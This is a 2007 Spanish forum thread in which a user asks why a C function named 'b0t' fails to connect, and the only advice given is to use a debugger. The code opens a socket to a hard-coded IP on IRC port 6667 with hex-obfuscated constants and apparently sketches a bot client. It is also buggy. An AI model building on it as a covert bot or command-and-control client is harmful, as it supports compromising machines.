SoloCodigo

Programación General => C/C++ => Mensaje iniciado por: Rozor en Lunes 8 de Octubre de 2007, 23:21

Título: No Conecta :(
Publicado por: Rozor en Lunes 8 de Octubre de 2007, 23:21
Que fallo tiene el codigo?.

El problema esta en que no conecta, por que le he puesto localhost con netcat a la escucha y nada :'( .


Código: Text
  1.  
  2.  
  3. extern DWORD WINAPI b0t(LPVOID param)
  4. {
  5.        SOCKET sock;
  6.        WSADATA wsa;
  7.        SECURITY_ATTRIBUTES sa;
  8.        WSAPROTOCOL_INFO wsinfo;
  9.       // struct hostent *host;
  10.        struct sockaddr_in mysock;
  11.        static char recvbuff[2050];
  12.        static char sendbuff[2050];
  13.        
  14.        //host = gethostbyname("xxxxxx");
  15.        
  16.        mysock.sin_family = 0x02;
  17.        mysock.sin_port = 0x0b1a; // 6667
  18.        mysock.sin_addr.s_addr = 0x6F271448; //inet_ntoa(*((struct in_addr *)host->h_addr));
  19.        ZeroMemory(&(mysock.sin_zero), 8); // memset
  20.  
  21.        
  22.        wsinfo.dwServiceFlags1 = 0x0400;
  23.        wsinfo.dwServiceFlags2 = 0x02;
  24.        wsinfo.dwServiceFlags3 = 0x80;
  25.        wsinfo.dwProviderFlags = 0x02;
  26.        wsinfo.iVersion = 0x18;
  27.        wsinfo.iAddressFamily = 0x02;
  28.        wsinfo.iSocketType = 0x01;
  29.        wsinfo.iProtocol = 0x06;
  30.        wsinfo.iSecurityScheme = 0x00;
  31.        wsinfo.dwMessageSize = 0xFFFFFFFF;
  32.        
  33.                                    
  34.              
  35.        if(WSAStartup(0x101, &wsa)!= 0) { TerminateThread(Thr_b0t, 0x00); }
  36.        
  37.        sock = WSASocket(0x02,0x01,0x06,&wsinfo,0x01,0x08);
  38.        
  39.        if(connect(sock, (struct sockaddr *)&mysock, sizeof(mysock)) == 0xFFFFFFFF)
  40.        {
  41.               return 0;
  42.        }
  43.        
  44.        send(sock, "\x0A\x00\x00", 0x04, 0x00);
  45.        Sleep(500);
  46.        while(TRUE)
  47.        {
  48.                  
  49.              recv(sock, recvbuff, 200, 0x00);
  50.        
  51.        }
  52.        printf("\nRecv: %s\n\n");
  53.        system("PAUSE");
  54.        closesocket(sock);
  55.        WSACleanup();
  56.        
  57.        return 0;      
  58.                                            
  59. }
  60.  
  61.  
  62.  
Título: Re: No Conecta :(
Publicado por: Eternal Idol en Lunes 8 de Octubre de 2007, 23:42
¿Es tu codigo? ... Depuralo.
Título: Re: No Conecta :(
Publicado por: Rozor en Viernes 12 de Octubre de 2007, 03:17
Si es mio, sorry no tenia vc y con devcpp no me apaño jejeje :P .
Título: Re: No Conecta :(
Publicado por: Eternal Idol en Viernes 12 de Octubre de 2007, 08:10
Bueno, usa el WinDbg (http://www.microsoft.com/whdc/devtools/debugging/), es gratis.